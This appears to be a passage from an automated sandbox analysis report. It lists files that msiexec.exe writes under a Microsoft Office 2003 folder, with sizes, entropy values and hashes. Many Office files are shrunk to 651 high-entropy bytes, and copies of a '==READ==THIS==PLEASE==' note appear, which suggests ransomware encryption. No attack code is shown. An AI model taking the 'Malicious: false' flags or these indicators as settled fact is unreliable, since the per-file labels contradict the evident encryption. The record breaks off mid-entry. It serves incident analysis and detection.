Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682077355065797
Encrypted:	false
MD5:	9FD8F204E602128962FECD4A6C86D056
SHA1:	35FC3F280534DEAFC5EFAAA2E6543CA47845C32D
SHA-256:	E61D926E14CE6A666ADFF01489475301EC0EC4C8A911C5E21C05B0EFA680B201
SHA-512:	D00322A5EB0C1AB72C4F134247B3C357CB865F378DAC758F7B94BA57AAC4CC8AC97FEF44D639ACEE3F17BEBBA14854FD334164B46C5D5535EE9A325237170CA9
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\USPMAP.XML
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7382188011589434
Encrypted:	false
MD5:	81D6E90E5E1C4D8121D8D8B0FC5147C4
SHA1:	145A069F935F7778AC3923D5F5DAC01D70C5B68D
SHA-256:	7E25478182BF3C43D64C1DAA7A9323EC7CA01ECC19DAB29D373EF7FBDA685F82
SHA-512:	FA578A42259FB69C40CDA7F78B984F814C81D5A75334708E67788F165F53DBB5D9F3CBC589A5EA5FB75D9BC112AEA2AF6578E9CB16FAD34E325F0615E9B6C58C
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\USPTYPES.XML
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706348121670683
Encrypted:	false
MD5:	39E0E1310087381EF14539ACAA70F939
SHA1:	785E8F434669C436D92ABDC2078A7189BF50185C
SHA-256:	D9F19981F2DD0CB70105F89209F187B799F7F1CCB2FAB75938CC31ADA61FE066
SHA-512:	495F2B641B355FCCBAD8F1884875315ACFE4106BF74FAE478D057D9459AD4DBCF34A8838704FA890EE0FC34FDDC8C6A801757B920B64005780E782D48DDAE5AA
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\UTILITY.MDA
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.713672731578029
Encrypted:	false
MD5:	EC2993AEA4F09E2700B2D78110124D8E
SHA1:	E47EF68BEAD43D58B0C495C8A2CFB5AA99325E57
SHA-256:	30884EA55382392670F8294919DE99335D0376537199C929A8A20B5E15120902
SHA-512:	A89E968C2FA4AA6664EDFD7DF9D99CA09346A966150AF0BA72E77AACAC1970FCB8578925E64E54AAC07BF941EC6DA22A6CA936337DAB0F43E8BE490B771C6D41
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\WORD.PIP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.705080368992103
Encrypted:	false
MD5:	0AA88CCF9D71291FDB5C2F2F1695270B
SHA1:	46B03D92279ADD85A472E4D9D06272B7B96D4E4D
SHA-256:	69C04D01FB7A8CEA637B76AB53D6C0C3F2970B52BE9F6E0B9619C72C04941C74
SHA-512:	7FB5E6D215C9ACB5E0B585B316754A62A6F1462168E7CFF5DBA81B6EAD6D870FC0165A6506964783DAF0C9373594FE6806DC10FA939D1D50F3E85276E2783ADC
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\WORDMAIL.PIP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695832529324446
Encrypted:	false
MD5:	100F87192CFEDDD31181C54F83903787
SHA1:	DB04AA274570A6932FD8BCBF6DA23A04A85B6050
SHA-256:	DF85FD8D7B47C39245DF3DF7D30C10D5DE6E309F7DE242E5751499C74C1F46A4
SHA-512:	A9E37947F6943D5F7EDF78B4ADE7732FDB360B2BE37EA52037208E363204C1494334D698C0F10732D341C9CB005C78E85110D17E4BBF2D5F9B12502BD21BBAEE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\WRDPRTID.XML
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67011045807375
Encrypted:	false
MD5:	415AB8B8375CB93AF4DCEB9452A5A084
SHA1:	38DBF6C6B2F54F7A588353777E9263F3D01C62C3
SHA-256:	A0E585EA8B4D8A644BB26050DC20249FD37011560E149A250F8A43F381528395
SHA-512:	74DC5768B245A99DD19B5EBF224398358D72ED3BBEF843C38FF3C65EF185B5DDC4B345BB13ADD70D462132299FBA4FA950CE8F7BD12C6A71B21A8A84C5C1B0B3
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\WWPAB.CNV
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675611325912173
Encrypted:	false
MD5:	C57F8138940BE045119C20F866A40A22
SHA1:	164E4CACE97738ADE35D7973F1453C0408B989E7
SHA-256:	1BA84F3C0ECF4BB436FE4F77D840B8EF10CAB623CC80B5BCE5771A5F2B19CDC6
SHA-512:	64BEB886C11911B6BB85FE3B23B21DF359A18ED4DF49B1AB3AABED4BE5D84DEBB85B4DA964CDA0BF76A6DCA4E5F9E4863A8E6ED6797170340183572947B2F960
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\XL5EN32.OLB
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.700079390492072
Encrypted:	false
MD5:	480E3FE3511CE295461D2E78700C77A2
SHA1:	70521EA7C99956BD75FC84CFBD1C9FF5B9E89FDA
SHA-256:	726A5DAA6EE2481E1C14B9D3A0EC84458FA6B4E5031C8CC9D5CF1C346D88B981
SHA-512:	40C52C4DFD2A20B074B156F666748B7A2C12D4236DC854387F8B425E296BBCF729FF9CF6BC8F5195C751B054D942EF9D6E1FE251D66468DBD642B6792CD53F16
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\XML2WORD.XSL
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.623977214410019
Encrypted:	false
MD5:	1E8DC6FEF0872D2A931153AF185374D1
SHA1:	96E4058994EE39A8FD2B8CB1075FBAF1B7CFC175
SHA-256:	4387AE845DC29D74B2DE0B0E494095FDD0CABE643C8EA1649743685982C258DC
SHA-512:	9D0A4A87FC0B283BA6D6AD97ABA6BC8D3AF8C6CF90DA3ABB767A61159EDBB78B162E0F0ED17F9F39C9343CA379ECC69E5593929E835AC77A5509CBBCFFEC144F
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Asset Tracking.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6921607020962455
Encrypted:	false
MD5:	08823E5CC68B1066C6BF759E1ABC7446
SHA1:	DFA77B31B75F86C5A72CF09451032F7ADB5ABE21
SHA-256:	62E1ED2BCE02DCE30E274A89B768CE0D9BE3FF5B05C21388BDA02076BA98A795
SHA-512:	DBB45B42E22B556DD53788E98DB065E44385D759A6ACE769138CF58839EE93DEC4CD92A1ED07D01A42C982F0F373CEEF74976E7C9101DCA40FE9A506F8C60EE6
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Business Plan.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.599976859948223
Encrypted:	false
MD5:	1D443BB98531FAA0F8A37CEB230CDB74
SHA1:	4648A804C4D1A4F031DA75CBB34FCC57253929F2
SHA-256:	FF06850284E21825F801FEF29285A1533797618C82A249A7E5BD0D7A29A0A56D
SHA-512:	B8D579F55E966B32B81B17DB1535289A887FC7B2ACC392A4A5F043DE414010A17E4E6C91EA4AD895A16C4ED6B3E7ED177C67BFF1FDC1522D6A08264344B6DAB1
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Communicating Bad News.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.640161907327232
Encrypted:	false
MD5:	925E815F80383B596D3D407B22AAADAB
SHA1:	286C8891823016FFE498E28D07C9F6F98F49242B
SHA-256:	099B183B99D6355DA14C802BF1E7121FDF8EEAF4DD541616062EA0F108EEF2A6
SHA-512:	B2F8CBE7DD2EA95B38DE8F1F8C665D0B5940DE4B4499F2D933B755D783DA00C8C510CFD34770E2092DE92CB9DD8F76EB64F384781E4367EB79FEA24A09FF3531
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Contact Management.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.711068920912084
Encrypted:	false
MD5:	837DD9480C42895FCB9C21207C5442F4
SHA1:	858A1393D720BB4C280C461B7A0AD620007A3AB1
SHA-256:	5B25C5A8F0CFD39F25B792B0DB84A13F3069FBBAA8BD259F1588C2E605731185
SHA-512:	5EACE3FBF36E9444375B19AAE4F12D0EC59544F01CEA60D46020BE0E15CE4D199B7C16710B7360E0B5EAD8D3600661DB81DB96842E1BD95C9635D59C3F237D09
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Contemporary Fax.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687408906626769
Encrypted:	false
MD5:	5B8C8C84F3F0BCC9717E7FBE9C5E0AED
SHA1:	FF5F99345E24A014F9873D6DB5A3D2D6D23908A7
SHA-256:	214E5553E353F51C83075BA710DB0B0A8B11EA6C41FA2E91392D90CDB8F130A9
SHA-512:	E40ED87B6F377AEAE865E9715C0F0031BBE9F45F5B10A6C21525BE2996DA479298AE59EFFF70CE5F6A860637E88FB64EF88BAD729E01B7EB9CD90B371440A6B9
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Contemporary Letter.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.704460356712677
Encrypted:	false
MD5:	D2FE1111A26849D593F8060BC4927436
SHA1:	9169C434543AFE9A2EB23E5BF2955647BEC63376
SHA-256:	52E61A4FC48EFFAAD71F453F1FFB794B4ABE9CA971DD2A04DA25E27856B805F8
SHA-512:	076EC16DD177D6C0A24D88C5443DA3C7E58C12D945BAB6CFE3C7F2D7E365EA2F03D58512B6E3013F1AE676DFEF7159A25465CECF274EA518621888499FF0D3B5
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Contemporary Memo.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.708182478295863
Encrypted:	false
MD5:	2F84003CD12B9C36E11EC7193AE05491
SHA1:	08DAA56D08FAB5F04986E6F45D4EA94DF17CF154
SHA-256:	8B72F97C2F755B22F888E7C353F30634909A92CC5B84EF55662FD628DC0D0EFD
SHA-512:	929CDD8DF4062AF05DB7C02DF98DF938ADF3D7D884C4EB7621F68479543F66F1A48F295923CD3BDAE06F6AB57F0024DE1ED462C068EB30CE20AF5B8929006C87
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Contemporary Report.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.728651510142289
Encrypted:	false
MD5:	727A998A521C636E42F736C477E2A6AF
SHA1:	AEE0F1EE38DCB537BB629E1F54B92884E61C7627
SHA-256:	C5C3A7EB7F0B44D7BDBE3CACFC772D551034558178A7081332BA73BF36CFCE98
SHA-512:	001DAC74FC710F613D46E023C55EBA1A395D2D6179C7D65291439EF7ADA1CF0B95BE4E1FC990EF3E0386D09FBD9FD5FE1508355C281EEC734DF56E38C9FCB387
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Contemporary Resume.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.635227643435418
Encrypted:	false
MD5:	D55CED0F24F44EF1B232C40487312922
SHA1:	6535C23EB7365BFB740D0E98BA764F0BD988551A
SHA-256:	EBFA45172A4671502D2A9D195A6990EFEEB02566554C9F981AC270585C0D2F0C
SHA-512:	D244834C2D0D95DDE6D75D866D94C4A5F40B81730F2E5DFD66F61FC18E369442BEF047C896DD86DDC3CA3011A38611A192F038AD4C0D5A019E5865F19D04B6E7
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Elegant Fax.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.720612952383265
Encrypted:	false
MD5:	3013FF8A0DBBD675E95D5108954AE496
SHA1:	6BA82020757FF9CBDBB7EE0C526AB7B708A9E12D
SHA-256:	92BC1999454F2E6BE6B313DC70AC20913B30826D9AFF7F6F52A3A965FCD2969D
SHA-512:	CCE6AE974D84582FACE9D8FFCCD2110BE7E3111CED29EBA211E8312B5AB9A89B6DA90402276BF362245C6C17896EBC92981055BC1F2F75AF1A9B5EBD29F55381
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Elegant Letter.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.733191195557762
Encrypted:	false
MD5:	B6B0CC36CD78D8C436B87FA78C506BB2
SHA1:	C027B3977B64560B8DCE8F2C7F37EA8BAA09D089
SHA-256:	7C98B8AF9E8B070E90FA196DF4CF5BEBF33DFD0D02142B7DABE669A53B82225B
SHA-512:	3F91DFE3A30C4B3100216CEB1AFDB9DC8D4DF2947001FA59D0CAA4785CD0F24F1BD2E523A942FABE3CAAF26F2CCBBED6D88578D0276DA7BE6946EBC7A0161F18
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Elegant Memo.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6508020911887415
Encrypted:	false
MD5:	841E661639DD6369B5A8144A89DD3D40
SHA1:	C30BE4177B3AAE71F297C24E3A1DFD7B8516CC34
SHA-256:	1A78DC399387D329CC4FE9AE3F0A68021C337980266FCD877C72A423149F84CB
SHA-512:	E1FCA2E8E74BC678A4B609A8109A658E3AA20F98719F79527D82115D1501771822258BD5B63E57DA99334E9222C1B7D27F630137BE6DF4E30C9611BF5DCC1AEF
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Elegant Report.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.689263391345906
Encrypted:	false
MD5:	C7DAC0D4802897554D185A40354A356F
SHA1:	358657B8571BFB2050705EA203ADC35BF29DBED3
SHA-256:	25167C3493071478E45CB31BBD29C9B2BBCBA57E3FE1A9B69C174FCB41D814F8
SHA-512:	73CB8C5B32E1564097BF73141526E02D471BB1F6EF39E8D41F9ED9C352EC3AABC53ED6DEB20028B1ABB0E4EAAD4609530F4D761970CBD8E3AE3D6899E0807F6F
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Elegant Resume.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.679283153140379
Encrypted:	false
MD5:	D5633871206E468277F838391AA1A6A8
SHA1:	6531BE83A31E0A7556BF275AB0D2446043661827
SHA-256:	2286F38CC8B5B8EADA27EBC43BD5F1E6FD42ABAD001712EA8CBE1496D574B8E4
SHA-512:	F7852EF67689DB24B6A290BEA6A9722018AEFAA8A88ECEF27EC4557D16F0897B8893CDCCB1A422B44CB845A121D030D504F759326B5E9643297D626778EB3584
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Envelope Wizard.wiz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.661820686851212
Encrypted:	false
MD5:	461273B3F7058EFCE22D617F1D9CBDF5
SHA1:	3B19AF9E4A26950148750A75F92D65515CFB4138
SHA-256:	5FC5A349167BC6384DE52ADB88DE394629CA02D6E9A2CE7F84486F9099CF0AB4
SHA-512:	D1E084C3179D3FCA805A5DE409199643FBB4563DBDC4822ED4D71D8EC2FD73EF3619DA29E4BC7280EF74429C12BF1561FB0DDCD3767DBCC48518D605E4D5E3EF
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Event Management.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.648967734563566
Encrypted:	false
MD5:	3F97580DEA4E1C201632B320BF45D494
SHA1:	1AD4BE9F25349083A5249F4AEAED0BADFFA1E8D4
SHA-256:	30A3A7A4C8EB32EC94600A7A3DF15D5EF219B200C99CEB1B4558F9D3CA068DDE
SHA-512:	FA323E63942638DA7A659B0796683C07B9A123C978CB78428EEA4DBC1BFB557DBC840379E69E519426CFC5769839D79FDC214ADB06D955FEB16D062998B630C1
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\FAX\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\FAX\Business Fax.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.726678833467726
Encrypted:	false
MD5:	D80C79ED17FCA31ED957A966AB897AAA
SHA1:	6C577369E40290356A499BBF0550EB3110B70B1F
SHA-256:	779820326D32831C83CE96F11FB97108A8050E42CEADA1EF029B0554A93258DD
SHA-512:	813358021579D5F1ACB3FD98AA374324B651546CC5363C60CDE2A3C3A171B5792B22A3F49699A8272924171D854395051519EF878372431A9522119E0F3498B1
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\FAX\Personal Fax.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702572338176834
Encrypted:	false
MD5:	42C2A97CE1E6A2431F7B8DD0D92E64F0
SHA1:	79FD2FE3DE467DA44899965DC8D30642D0454A2A
SHA-256:	2B5FB4BFCEF21C290D6220D475562ED8BB1662A4A1AFE2BBD35654005BC7D006
SHA-512:	31D527148E8E4ED4C95B4A0658472D150940EA90CA4810394B65EB87CCA5A990EBD440F3D89624FD6C740753B525B26036B483C6199876347580A7CD2A7D5B42
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\FAX\Standard Fax.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.680859896742196
Encrypted:	false
MD5:	F1750C4BE470B084D2EA225B82489969
SHA1:	A77EDA577877DBC5995E67C6F02A2177BCF8799F
SHA-256:	237C2DDA0602AAD0770CD2DDD308C1E056F179B1992797AABE05DE77F784F19C
SHA-512:	1004B8F0DF7079C89BDD35C2B4208357590D4DE973A7B0A7E01F8811025212D3101CE468931C9111EED6BEE23F66C5632E942CDDE0E0CC64C461E79A17B5252A
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Fax Wizard.wiz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691061182150225
Encrypted:	false
MD5:	57FB168A085E54C5E9E8F168091961F5
SHA1:	237D7AF136DC4C016DB047446FE5B133F09F4535
SHA-256:	957228A29ED7B290F3C6A21ECBB8DEC96FBCE9288A9EFD75AA940F9BA4215119
SHA-512:	A1459261942CB619706FA19A4017A6A11512E2F9F8791D524AE4FF29AEA9418FA350129F685BDD82CB207984394FAE94150410334FB639FBEB6FAB956AF7FD86
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Financial Overview.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.661980489590956
Encrypted:	false
MD5:	823A977D7F5F48F65432A506C0A6C835
SHA1:	16A110EB5397F18F86435127B8205D960F029899
SHA-256:	46D7B2753E27AEE0584492663D4FEB3138FBAC2DBAC390621C3236667067CC64
SHA-512:	AE8C3BD9540EFDB93960143ABABEC755A4A5C2AA6BE8A4C6F84D79D3D005457E9464953AD5C1629E5BB90E47D1C261705DDC6A9460573ACF7D9A56B076132AE7
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Generic.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.724627898214286
Encrypted:	false
MD5:	B1890529568D07E25A82DA49E1376551
SHA1:	B1875AB68B5BC8316760BFB815708328D10B5817
SHA-256:	8F571BBA5098971A578CBB0DF212BFA3EF0A2B7DADEFE9F9180A4B81EB8AE0B4
SHA-512:	BEBD1E86521F32C553903158A3843205BC26402245BB1719F9B79F52CBCF15BFA054FAA996108E0B485D5F8C199A0366A3692CDA4D263B4C8BBD50EA552D0CC6
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Inventory Control.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7044257393510875
Encrypted:	false
MD5:	D7BEEA52E4D967EF3F463748799BAD6A
SHA1:	C5205A2560CCE12A798D5555288348634DB13797
SHA-256:	A8CB9005A2604ABF3B1A208A720EA1D782A52FBC35639F60D2205E0A8F02B46C
SHA-512:	61AC252FC56BBAD35F7E6D0191EF6C0792B46F01D3BF50DF5A2DCDF139B241A080061687EBBEB81645CF1770662FDA9FECE74B853BEA5008CD941A27D1593FA1
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\LABEL.WIZ
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698915340501288
Encrypted:	false
MD5:	B163EF16EA23A5A485654E1C3E1560E4
SHA1:	50180E752D7B55F769279DD6F5718577AD6DD726
SHA-256:	A73CB8DDFE97DD8BB09F71C421BA3C0E86E9A1484CBE78CBABFFA2D4ADF4CA96
SHA-512:	E64222595465B11C3A06AF31CEEDDBDB7C90D44B7968237A4A2D91E67ADA9B913464C5DD2FFC048389DC305EE7781ECA35454A9F8938348FC04A42E5FD71EE13
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Letter Wizard.wiz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6864980010851145
Encrypted:	false
MD5:	26DE74305F6A24AE9DCBED45B1910012
SHA1:	1D9C5739EEFD8B347C1587E765F379B3EB19FD68
SHA-256:	9B17EE8885ADCCC61200411C88C00442F879464A592B7477FF0BBF7399867363
SHA-512:	B00ABAAB7264E57141C237F7106908D9E5433D08356A0291C01243113BDF0D3F27389C7FD294D9D21D268BFD9BE5EAC62D01E5F1BD315360D81992B4D1562BCE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Marketing Plan.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.749283729757827
Encrypted:	false
MD5:	87106DAE540C43E9EDE0284D97CCCAF9
SHA1:	AB45F14A423EA8AC0FFF0B609ABD7B995DDA9A33
SHA-256:	51B9BB877BCE712D14F302A0ED58267C312E0BC2F474B09A3D4C43D73607B4A8
SHA-512:	0FC3296B604B54CEC6A08D5ED7E0B562A61A4504320A07455F56642C16D01D35550C104402A63769671383E9D9CAE4A066B51FA4F634B973D5FCE02BA202F793
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Memo Wizard.wiz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695936485590085
Encrypted:	false
MD5:	88CAF60B9EA7136F928E49174E835CBE
SHA1:	6C625E95648D5D61B3D19692CC8E0A1E5C055E6F
SHA-256:	D891977B4AA55263D594338B6E79257D0AE2789450776B812DF68849FC29ED6E
SHA-512:	5091A7B2580BE0B0386AD7E5EE733BA7DF05460BC614A5BC15F80E8E3A353C242EF58BBD2C495C64AB667250DD6009E26130868E185FADD1CE2EE013206FD3BF
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Order Entry.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653805542768161
Encrypted:	false
MD5:	922492A8CA26BA97A0A0498DC61624AE
SHA1:	6315C0EDB836FD509BC891447532FAB7EC380149
SHA-256:	F1B696DCE072A80B92CC47AC3FC1EEF64AB06CEB3810CE648E3214663AA47A81
SHA-512:	7DD897D635D0EDA8AF6149459647729C8D6F10CF826AABD206A1843A2E4547638987287EB7D88D10FA0938DDC80E863B0E1C50FBDB2A7F3719D5FC2D5E10209A
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Products And Services Overview.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.674159767688521
Encrypted:	false
MD5:	FDF3431AD568A28ABFA5BC7D255699AD
SHA1:	B2CB6B7ED323DBFC13D772BA7311BA6497633416
SHA-256:	79C35126053EDDC831739642EA9D21AD4B2E59264EF30EADBB909F9E62BCC022
SHA-512:	D2974D295AC3F3825AA4D54081CA402755E27B6ACB4D1C63694B0AC0CA8614F859F11887E5A4BC3F73109D26D25799F6E0AA6BFC594C3D02184A3E7D1574A23C
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Professional Fax.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.722005042999276
Encrypted:	false
MD5:	B913BAC146ECDDA04127CEEE00675740
SHA1:	E63B85DA893F180EE50E0769FAE1C35BB33E9646
SHA-256:	F731FE65D603EF6C38032BB70C2EE95C133DD55B796AEC84843B4E7831838D7A
SHA-512:	24E00F3049652A7B2A279ABBFDE22CA2979F479107137934FABC80E1CFDAEAA3C65DF5447C423D44AD0AD5D4A1C0324245C700D9D9350ABBA9B30B337FFD1A22
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Professional Letter.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.64102866449593
Encrypted:	false
MD5:	4A597D629706D160BE98C9B93DE0ECF5
SHA1:	D6115A51B2E97FEFFB20A414E684D04FAB2460C5
SHA-256:	D4AC9CA2515E71098254C69AD5C3EC51BBACDF8375D711E3B30F3451BEB85386
SHA-512:	1FB2E3C7038BA9431C145A6C91CEAAF05B8B0D6F4C238777527217D0D5A530E4F81A98214F6B2E42B65960ABEF87AD28D12B2D0F0616576FC7FC2D09B085C111
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Professional Memo.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.626718008002608
Encrypted:	false
MD5:	88F80E9B5889076256F66BF1067FDCE2
SHA1:	C3596BCB6B4F461EEECEA8B588470581BCDFF50F
SHA-256:	0BCDE1F1F7A2FA61E90E671A91402D8BB05FD00E2179816613CC5808F96CC5C5
SHA-512:	61999F65AF9E21245351ADD0E4D5DF0337E6C14738F85392C4254806D9676EAD0D2E9D00029C8FC999438603CDE71D2E7664DD0C160F12998CE911CEB5309036
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Professional Report.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.673271527829467
Encrypted:	false
MD5:	E200FFD08DDB0764F27358BD7FC8A02B
SHA1:	622DBECA265EA26B7D51C0460B077F4912E0019F
SHA-256:	E60A81BEE04AF4109405D897B3CE0047DC15A32CE41A768635B72E6700A7699F
SHA-512:	1ABFF5191BE1840AC278166C33CA33B8E40C4D32EA5B996D1BA2D9107D5E931AB3C750B943415871C4377FBE547CA80D83C8B2A509BEDFD4F9DA4235B1A74485
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Professional Resume.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697241887634425
Encrypted:	false
MD5:	850575697242FB042C41E69911F2D3CC
SHA1:	CBB602922556399F1EC9A71F87B28E212451C304
SHA-256:	2A49B1AF68BF49DE2AEBC25FE9B44C620E8FC5303AFCBE5BCD93136B72F8BCB4
SHA-512:	C4648AC78AB9C1E7CCD3BA3E152818BF7ACCF05289EA06366FBB4162B409F0DFAFE99CD54BB18F235AA858C685D1F9E04F7EE0F686F3D0128E6A3EA30A4D42A6
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Project Overview.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697434123172308
Encrypted:	false
